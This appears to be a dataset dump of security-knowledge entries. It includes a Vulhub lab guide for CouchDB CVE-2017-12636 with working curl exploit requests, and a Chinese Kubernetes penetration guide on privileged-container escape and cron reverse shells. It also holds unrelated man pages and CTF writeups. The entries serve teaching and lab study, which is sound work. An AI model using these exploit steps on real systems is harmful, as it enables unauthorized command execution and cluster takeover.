text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Couchdb Arbitrary Command Execution (CVE-2017-12636)
[中文版本(Chinese version)](README.zh-cn.md)
Apache CouchDB is an open-source document-oriented NoSQL database, implemented in Erlang. CouchDB uses multiple formats and protocols to store, transfer, and process its data. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for an API.
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
Chain [CVE-2017-12635](../CVE-2017-12635) and CVE-2017-12636 to get a unauthenticated remote command execution.
Reference link.
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
- https://www.exploit-db.com/exploits/44498
- http://bobao.360.cn/learning/detail/4716.html
## Vulnerable Environment
API interfaces of Couchdb 2.x and and 1.x are somewhat different, so this vulnerability is exploited in a different way. This environment is about version 1.6.0, if you want to test version 2.1.0, you can use the [CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635).
Start a Couchdb 1.6.0 server.
```
docker compose up -d
```
After the startup is complete, browse ``http://your-ip:5984/`` to see the welcome page of Couchdb.
## Exploit explanation
CVE-2017-12636 is a post-authentication RCE, so if you do not know the target administrator password, you can use [CVE-2017-12635](https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635) to add an administrator user first.
### Exploit under 1.x
Execute the following requests in sequence to trigger arbitrary command execution.
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language": "cmd", "map":""}' -H 'Content-Type: application/json'
```
Here, `vulhub:vulhub` is the administrator account and password.
The first request is to add a **query_servers** with the name `cmd` and the value `"id >/tmp/success"`, which is the command we are going to execute later.
The second and third requests are to add a database and document, which can be queried only after it is added here.
The fourth request is to do a query in this Database, a **query_servers** named `cmd` that I added in the first step is used, and finally trigger the command execution.
### Exploit under 2.x
The two APIs I used above have been modified in 2.1.0 and need to be explained in detail here.
Couchdb 2.x introduces clustering, browser the `/_membership` to get the node list.
```
curl http://vulhub:vulhub@your-ip:5984/_membership
```

As you can see, we have only one node here, with the name `nonode@nohost`.
Then, modify the configuration of node `nonode@nohost` as follows.
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
```

Then, in the same way as the 1.6.0 exploit:
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
```
Couchdb 2.x removed `_temp_view`, so we need to add a `_view` in order to trigger the command defined in `query_servers`:
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test", "views":{"woyun":{"map":""} }," language": "cmd"}' -H "Content-Type: application/json"
```
Then commands in `query_servers` will be executed.
## POC script
I wrote a simple POC [exp.py](exp.py), modified the target and command inside the script to your test target, then modified the version to the corresponding Couchdb version (1 or 2), and successfully get the reverse shell:

|
sec-knowleage
|
---
title: K8s 集群渗透
---
<center><h1>K8s 集群渗透</h1><b>本文作者:一生热爱</b><br><br></center>
---
## 一、k8s 集群架构
<br>
<img width="900" src="/img/image-20220830153235077.png"></br>
<br>
<img width="1000" src="/img/image-20220901163117536.png"></br>
## 二、渗透路线
* docker user shell
* docker root shell
* docker逃逸
* 内网横向
<br>
<img width="1000" src="/img/image-20220830153415777.png"></br>
## 三、获取 docker root shell
目前获取到 docker 中的一个普通用户 shell
<br>
<img width="900" src="/img/image-20220830131033867.png"></br>
使用 CVE-2021-22555 提升至 root shell
<br>
<img width="800" src="/img/image-20220830131216079.png"></br>
## 四、docker 中横向
<br>
<img width="900" src="/img/image-20220830131327570.png"></br>
使用扫描器等,可以访问运行中的 docker
查看 docker 中的一些服务、共享目录、挂载等
## 五、docker 逃逸
查看 `/proc/1/status`,发现此容器为特权容器
<br>
<img width="600" src="/img/image-20220830131547932.png"></br>
这里使用如下命令
````bash
mkdir /httpd_test
mount /dev/sda1 /httpd_test
chroot /httpd_test/
````
现在在使用 Kubernetes 等命令可以发现能够执行成功,证明已经逃逸出来了。
<br>
<img width="800" src="/img/image-20220830144327410.png"></br>
接下来就是写定时任务反弹 shell、写 ssh 等。
## 六、node 节点到 master 节点
上面已经获取到 node 节点 shell,因为生产环境的 docker、pod 与 k8s 一般不属于同一网段,现在获取到 node 节点权限就可以访问整个 k8s 集群网络了。
一般在 node 节点不能执行 k8s 命令,这里实验环境简易搭建一下。
首先通过如下命令,设置节点标号,然后清除 master 节点不能分配 pod
```bash
> kubectl label node k8s-master type=node1
> kubectl taint nodes --all node-role.kubernetes.io/master-node "k8s" untainted
> kubectl describe node k8s | grep Taints
Taints: <none>
```
创建如下 nginx-pod.yaml 文件
```yaml
apiVersion: v1
kind: Pod # 类型为 Pod
metadata:
name: nginx-pod1 # Pod 的名称
labels:
app: nginxlabel
spec:
nodeSelector:
type: node1
containers: # Pod 内容器的定义部分
- name: nginx # 容器对应的名称
image: nginx # 容器对应的 Docker 镜像
ports:
- containerPort: 80 # 容器应用监听的端口号
securityContext:
privileged: true
```
使用 `kubectl apply -f nginx-pod.yaml` 在 master 创建 pod
<br>
<img width="1000" src="/img/image-20220830150321495.png"></br>
使用如下命令,进入 pod
```bash
kubectl exec -it nginx-pod1 -- /bin/bash
```
<br>
<img width="700" src="/img/image-20220830152628774.png"></br>
如上图所示已进入 master 节点,如下图所示也为特权模式启动的 docker 镜像。
<br>
<img width="700" src="/img/image-20220830153036234.png"></br>
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年11月4日"
}
}
</script>
|
sec-knowleage
|
'\"
'\" Copyright (c) 1995-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: filename.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: filename.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH filename 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
filename \- Tcl 命令支持的文件名转换
.BE
.SH INTRODUCTION
.PP
所有接受文件名作为参数的 Tcl 命令和 C 过程希望文件名是依赖于当前平台的三种形式之一。在每种平台上,Tcl 都支持这种平台上的标准形式的文件名。额外的,在所有平台上,Tcl 支持一种 Unix 式的语法,提供了一种方便的方式来构造简单的文件名。但是,打算被移植的脚本不要假定特定形式的文件名。可移植的脚本必须使用 \fBfile split\fR 和 \fBfile join\fR 命令来操纵文件名(详见\fBfile\fR 的手册条目)。
.SH "路径类型 PATH TYPES"
.PP
基于用来指定文件的路径的起点,文件名被组织成三种一般类型: 绝对,相对,相对-卷。绝对名字是完全限定的(qualified),给出的到文件的路径相对于一个特定的卷和在这个卷上的根目录。相对名字是未限定的,给出的到文件的路径相对于当前的工作目录。相对-卷名字是部分限定的,给出的路径要么相对在当前卷上的根目录,要么相对于在指定卷上的当前目录。使用 \fBfile pathtype\fR 命令来确定一个给定路径的类型。
.SH "路径语法 PATH SYNTAX"
.PP
本地名字的规则依赖于在 Tcl 数组元素 \fBtcl_platform(platform) \fR中报告的值:
.TP 10
\fBmac\fR
在 Apple Macintosh 系统上,Tcl 支持两种形式的路径名。常规 Mac 式样的名字使用分号作为路径分隔符。路径可以是相对的或绝对的,并且文件名中可以包含除了分号之外的任何字符。一个前导的分号导致路径的剩余部分被解释成相对当前目录。如果一个路径包含一个不在开始处的分号,则路径被解释成一个绝对路径。在路径中任何地方的两个或多个分号的序列被用做构造相对路径,这里的 \fB::\fR 参照当前目录的父目录,\fB:::\fR 参照父目录的父目录,以此类推。
.RS
.PP
除了 Macintosh 式样的名字,Tcl 还支持 Unix 式名字的一个子集。如果一个路径不包含分号,则把它按一个 Unix 路径来解释。使用斜杠作为路径分隔符。文件名 \fB\&.\fR 参照当前目录,而 \fB\&..\fR 参照当前目录的父目录。但是,象 \fB/\fR 或 \fB/..\fR的一些名字没有映射,并被作为 Macintosh 名字解释。一般的,生成文件名的命令返回 Macintosh 式样的名字,而接收文件名的命令接受 Macintosh 和 Unix 式样的两种名字。
.PP
下列例子展示不同形式的路径名:
.TP 15
\fB:\fR
到当前文件夹(folder)的相对路径。
.TP 15
\fBMyFile\fR
到在当前文件夹中的叫 \fBMyFile\fR的一个文件的相对路径。
.TP 15
\fBMyDisk:MyFile\fR
到在叫 \fBMyDisk \fR的设备上的一个叫 \fBMyFile\fR 的文件的绝对路径。.
.TP 15
\fB:MyDir:MyFile\fR
到在当前文件夹中的一个叫 \fBMyDir\fR的文件夹中的一个叫 \fBMyFile\fR 的文件的相对路径。
.TP 15
\fB::MyFile\fR
到在当前文件夹的上层文件夹中的一个叫 \fBMyFile\fR 的文件的相对路径。
.TP 15
\fB:::MyFile\fR
到在当前文件夹的上两层文件夹中的一个叫 \fBMyFile\fR 的文件的相对路径。
.TP 15
\fB/MyDisk/MyFile\fR
在叫 \fBMyDisk \fR的设备上的一个叫 \fBMyFile\fR 的文件的绝对路径。
.TP 15
\fB\&../MyFile\fR
到在当前文件夹的上层文件夹中的一个叫 \fBMyFile\fR 的文件的相对路径。
.RE
.TP
\fBunix\fR
在 Unix 平台上,Tcl 使用的路径名的组成部分由斜杠来分隔。路径名可以是相对的或绝对的,并且文件名可以包含除斜杠之外的任何字符。文件名 \fB\&.\fR 和 \fB\&..\fR 是特殊的并且分别参照当前目录和当前目录的父目录。多个毗接的(adjacent)的斜杠被解释为一个单一的分隔符。下列例子展示不同形式的路径名:
.RS
.TP 15
\fB/\fR
到根目录的绝对路径。
.TP 15
\fB/etc/passwd\fR
到在根目录中的 \fBetc\fR 目录中的一个叫 \fBpasswd\fR 的文件的绝对路径。
.TP 15
\fB\&.\fR
到当前目录的相对路径。
.TP 15
\fBfoo\fR
Relative path to the file \fBfoo\fR in the current directory.
.TP 15
\fBfoo/bar\fR
到在当前目录中的一个叫 \fBfoo\fR 的文件的相对路径。
.TP 15
\fB\&../foo\fR
到在当前目录中的目录 \fBfoo\fR 目录中的一个叫 \fBbar\fR 的文件的相对路径。
.RE
.TP
\fBwindows\fR
在 Microsoft Windows 平台上,Tcl 支持相对驱动器和 UNC 式样的名字两者。\fB/\fR 和 \fB\e\fR 二者都可用在两种类型的名字中做分隔符。相对驱动器的名字由可选的驱动器指定符(specifier)和随后的绝对或相对的路径组成。UNC 路径依从 \fB\e\eservername\esharename\epath\efile\fR 的一般形式。在两种形式中,文件名 \fB.\fR 和 \fB..\fR 是特殊的并且分别参照当前目录和当前目录的父目录。下列例子展示不同形式的路径名:
.RS
.TP 15
\fB\&\e\eHost\eshare/file\fR
到在主机 \fBHost \fR上的导出点 \fBshare\fR 的根目录中的一个叫 \fBfile\fR 的文件的绝对 UNC 路径。
.TP 15
\fBc:foo\fR
到在驱动器 \fBc \fR上的当前目录中的一个叫 \fBfoo\fR 的文件的相对卷的路径。
.TP 15
\fBc:/foo\fR
到在当前卷上的当前目录中 \fBfoo\fR 目录中一个叫 \fBbar\fR 的文件的绝对路径。
.TP 15
\fBfoo\ebar\fR
到在当前卷上的当前目录中 \fBfoo\fR 目录中一个叫 \fBbar\fR 的文件的相对路径。
.TP 15
\fB\&\efoo\fR
到在当前卷的根目录中的一个叫 \fBfoo\fR 的文件的相对卷的路径。
.RE
.SH "波浪线替换 TILDE SUBSTITUTION"
.PP
除了上述文件名规则之外,Tcl 还支持 csh 式样的波浪线替换。如果一个文件名以一个波浪线开始,则按文件名的第一个元素被给定用户的主目录的位置所替换来解释。如果波浪线之后立即跟随着一个分隔符,则用 \fB$HOME\fR 环境变量来替换。否则在波浪线和下一个分隔符之间的的字符被接受为一个用户名,它被用来检索用于替换的用户的主目录。
.PP
Macintosh 和 Windows 不支持对波浪线跟随一个用户名的波浪线替换。在这些平台上,使用波浪线并跟随一个用户名的尝试将生成一个错误。有一个波浪线而没有用户名的文件名将象 Unix 一样使用 \fB$HOME\fR 环境变量来替换。
.SH "移植要点 PORTABILITY ISSUES"
.PP
注意所有的文件系统都是大小写敏感的,所以脚本应避免依赖于在文件名中的字符大小写的代码。额外的,在不同设备上允许的字符集可能不同,所以脚本脚本应选择不包含特殊字符如 \fB<>:"/\e|\fR 的文件名。最安全的方式是只使用由字母组成的用户名。还有 Windows 3.1 只支持有不多于8个字符的根和不多于3个字符的扩展的文件名。
.SH "关键字 KEYWORDS"
current directory, absolute file name, relative file name,
volume-relative file name, portability
.SH "参见 SEE ALSO"
file(n), glob(n)
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/08/28
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
##Last Challenge (Thank you for playing) (Misc/Crypto, 50p)
```
ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}
quiz
Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????
```
###PL
[ENG](#eng-version)
Dostajemy do rozwiązania prost szyfr podstawieniowy. Na podsatwie pierwszej pary plaintext-ciphertext generujemy mapę podstawień a następnie dekodujemy flagę:
```python
data1 = "PXFR}QIVTMSZCNDKUWAGJB{LHYEO"
res1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
sub = dict(zip(data1, res1))
print("".join([sub[letter] for letter in "A}FFDNEA}}HDJN}LGH}PWO"]))
```
`SECCON{SEEYOUNEXTYEAR}`
### ENG version
We get a very simple substitution cipher to solve. Using the first plaintext-ciphertext pair we genrate a substitution map and the we decode the flag:
```python
data1 = "PXFR}QIVTMSZCNDKUWAGJB{LHYEO"
res1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
sub = dict(zip(data1, res1))
print("".join([sub[letter] for letter in "A}FFDNEA}}HDJN}LGH}PWO"]))
```
`SECCON{SEEYOUNEXTYEAR}`
|
sec-knowleage
|
env
===
显示系统中已存在的环境变量
## 补充说明
**env命令** 用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用"-"作为参数选项时,隐藏了选项"-i"的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。
如果使用env命令在新环境中执行指令时,会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时,用户可以重新定义一个新的"PATH"或者使用绝对路径。
### 语法
```shell
env(选项)(参数)
```
### 选项
```shell
-i:开始一个新的空的环境;
-u<变量名>:从当前环境中删除指定的变量。
```
### 参数
* 变量定义:定义在新的环境中变量,定义多个变量定义用空格隔开。格式为“变量名=值”;
* 指定:指定要执行的指令和参数。
### 实例
```shell
[root@localhost ~]# env
hostname=LinServ-1
TERM=linux
SHELL=/bin/bash
HISTSIZE=1000
SSH_CLIENT=192.168.2.111 2705 22
SSH_TTY=/dev/pts/0
USER=root
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
mail=/var/spool/mail/root
PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
INPUTRC=/etc/inputrc
pwd=/root
LANG=zh_CN.UTF-8
SHLVL=1
HOME=/root
logname=root
SSH_CONNECTION=192.168.2.111 2705 192.168.2.2 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
```
|
sec-knowleage
|
seinfo
===
查询SELinux的策略提供多少相关规则
## 补充说明
**seinfo命令** 是用来查询SELinux的策略提供多少相关规则,一个主体进程能否读取到目标文件资源的重点是在于SELinux的策略以及策略内的各项规则,然后再通过该规则的定义去处理各项目标文件的安全上下文,尤其是“类型”部分。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。
### 语法
```shell
seinfo(选项)
```
### 选项
```shell
-A:列出SELinux的状态、规则布尔值、身份识别、角色、类型等所有信息。
-t:列出SELinux所有类型(type)的种类。
-r:列出SELinux所有角色(role)的种类。
-u:列出SELinux所有身份识别(user)的种类。
-b:列出所有规则的种类(布尔值)。
```
### 实例
列出与httpd有关的规则:
```shell
seinfo -b | grep httpd
```
|
sec-knowleage
|
# Death of Firstborn Son
## Description
> > “Then Moses said, ‘Thus says the Lord: “About midnight I will go out into the midst of Egypt; and all the firstborn in the land of Egypt shall die, from the firstborn of Pharaoh who sits on his throne, even to the firstborn of the female servant who is behind the hand mill, and all the firstborn of the animals. Then there shall be a great cry throughout all the land of Egypt, such as was not like it before, nor shall be like it again. But against none of the children of Israel shall a dog move its tongue, against man or beast, that you may know that the Lord does make a difference between the Egyptians and Israel”’” (Exodus 11:4-7).
>
> You've arrived at the final trial, The one that will ultimately decide whether Pharaoh will grant our people their freedom.
>
> Good luck and Happy Passover.
An executable was attached.
## Solution
Let's run the executable:
```console
PS E:\CTFs\basmach\Death_of_firstborn_son> & .\firstBornPlague.exe
Welcome!
Before you finish the challenge, find the last flag... goodluck :)
Also, have you painted your doorstep red already?
```
These days, IDA Freeware comes with a basic cloud decompiler for x32/x64 binaries. Let's see what it produces:
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int i; // [esp+8h] [ebp-630h]
char v5[1316]; // [esp+Ch] [ebp-62Ch] BYREF
__int16 v6[130]; // [esp+530h] [ebp-108h] BYREF
qmemcpy(v5, a06636303060636, sizeof(v5));
qmemcpy(v6, aWelcomeBeforeY, 0x102u);
for ( i = 0; i < 0x81; ++i )
{
putchar((unsigned __int16)v6[i]);
Sleep(0x32u);
}
sub_401000(v5, 658);
sub_401000(v5, 658);
return 0;
}
```
So we can see that the program prints the message we saw earlier, character by character. But what's happening to `v5` which gets sent to `sub_401000` (twice)?
```c
int __cdecl sub_401000(int a1, int a2)
{
int result; // eax
float v3; // xmm0_4
float v4; // xmm0_4
float v5; // xmm0_4
float v6; // xmm0_4
float v7; // xmm0_4
float v8; // xmm0_4
float v9; // xmm0_4
float v10; // xmm0_4
float v11; // xmm0_4
float v12; // xmm0_4
__int16 v13[6]; // [esp+4h] [ebp-22C8h]
int v14; // [esp+10h] [ebp-22BCh]
int v15; // [esp+14h] [ebp-22B8h]
float v16; // [esp+18h] [ebp-22B4h]
int v17; // [esp+1Ch] [ebp-22B0h]
int v18; // [esp+20h] [ebp-22ACh]
int v19; // [esp+24h] [ebp-22A8h]
int v20; // [esp+28h] [ebp-22A4h]
int v21; // [esp+2Ch] [ebp-22A0h]
float v22; // [esp+30h] [ebp-229Ch]
float v23; // [esp+34h] [ebp-2298h]
float v24; // [esp+38h] [ebp-2294h]
float v25; // [esp+3Ch] [ebp-2290h]
float v26; // [esp+40h] [ebp-228Ch]
float v27; // [esp+44h] [ebp-2288h]
float v28; // [esp+48h] [ebp-2284h]
float v29; // [esp+4Ch] [ebp-2280h]
float v30; // [esp+50h] [ebp-227Ch]
float v31; // [esp+54h] [ebp-2278h]
float j; // [esp+58h] [ebp-2274h]
float i; // [esp+5Ch] [ebp-2270h]
unsigned int k; // [esp+60h] [ebp-226Ch]
float v36[1760]; // [esp+68h] [ebp-2264h] BYREF
char v37[1760]; // [esp+1BE8h] [ebp-6E4h] BYREF
v13[0] = 111;
v13[1] = 114;
v13[2] = 105;
v13[3] = 116;
v13[4] = 97;
v13[5] = 108;
v18 = 0;
v17 = 0;
memset(v37, 32, sizeof(v37));
result = (int)memset(v36, 0, sizeof(v36));
for ( i = 0.0; i < 6.28; i = v3 )
{
for ( j = 0.0; j < 6.28; j = v4 )
{
v5 = *(double *)libm_sse2_sin_precise().m128_u64;
v30 = v5;
v6 = *(double *)libm_sse2_cos_precise().m128_u64;
v26 = v6;
v7 = *(double *)libm_sse2_sin_precise().m128_u64;
v29 = v7;
v8 = *(double *)libm_sse2_sin_precise().m128_u64;
v28 = v8;
v9 = *(double *)libm_sse2_cos_precise().m128_u64;
v27 = v9;
v31 = v26 + 2.0;
v25 = 1.0 / (float)((float)((float)((float)(v30 * (float)(v26 + 2.0)) * v29) + (float)(v28 * v9)) + 5.0);
v10 = *(double *)libm_sse2_cos_precise().m128_u64;
v23 = v10;
v11 = *(double *)libm_sse2_cos_precise().m128_u64;
v24 = v11;
v12 = *(double *)libm_sse2_sin_precise().m128_u64;
v22 = v12;
v16 = (float)((float)(v30 * (float)(v26 + 2.0)) * v27) - (float)(v28 * v29);
v20 = (int)(float)((float)((float)(30.0 * v25)
* (float)((float)((float)(v23 * v31) * v24)
- (float)((float)((float)((float)(v30 * v31) * v27) - (float)(v28 * v29)) * v12)))
+ 40.0);
result = (int)(float)((float)((float)(15.0 * v25)
* (float)((float)((float)(v23 * (float)(v26 + 2.0)) * v12) + (float)(v16 * v24)))
+ 12.0);
v21 = result;
v19 = v20 + 80 * result;
v15 = (int)(float)((float)((float)((float)((float)((float)((float)(v28 * v29) - (float)((float)(v30 * v26) * v27))
* v24)
- (float)((float)(v30 * v26) * v29))
- (float)(v28 * v27))
- (float)((float)(v23 * v26) * v12))
* 8.0);
if ( result < 22 && v21 > 0 && v20 > 0 && v20 < 80 )
{
result = v19;
if ( v25 > v36[v19] )
{
v36[v19] = v25;
if ( v15 <= 0 )
v14 = 0;
else
v14 = v15;
result = v19;
v37[v19] = byte_404644[v14];
}
}
v4 = j + 0.02;
}
v3 = i + 0.07000000000000001;
}
for ( k = 0; k < a2 - 1; ++k )
{
if ( NtCurrentPeb()->BeingDebugged )
ExitProcess(1u);
if ( *(_WORD *)(a1 + 2 * k) != 32 )
*(_WORD *)(a1 + 2 * k) ^= v13[k % 6];
result = k + 1;
}
return result;
}
```
That's a total mess. We also see some anti-debug code close to the end. We'd really like to see what the `v5` buffer contains after the function completes.
So, what we'll do is patch the program to enter an infinite loop right after the first call to `sub_401000`, attach a debugger and inspect the memory.
Here's the assembly for the two consecutive function calls:
```assembly
.text:004015A4 push 292h
.text:004015A9 lea eax, [ebp+var_62C]
.text:004015AF push eax
.text:004015B0 call sub_401000
.text:004015B5 add esp, 8
.text:004015B8 push 292h
.text:004015BD lea ecx, [ebp+var_62C]
.text:004015C3 push ecx
.text:004015C4 call sub_401000
.text:004015C9 add esp, 8
```
We can use `Edit -> Patch Program -> Assemble`, changing the second call to `jmp $`. The result:
```assembly
.text:004015A4 push 292h
.text:004015A9 lea eax, [ebp+var_62C]
.text:004015AF push eax
.text:004015B0 call sub_401000
.text:004015B5 add esp, 8
.text:004015B8
.text:004015B8 loc_4015B8: ; CODE XREF: _main:loc_4015B8↓j
.text:004015B8 jmp short loc_4015B8
```
Now we apply the patch using `Edit -> Patch program -> Apply Patches to Input File`.
We run the patched program and observe that it won't exit - this means that it's sitting in our infinite loop and waiting for us to attach the debugger.
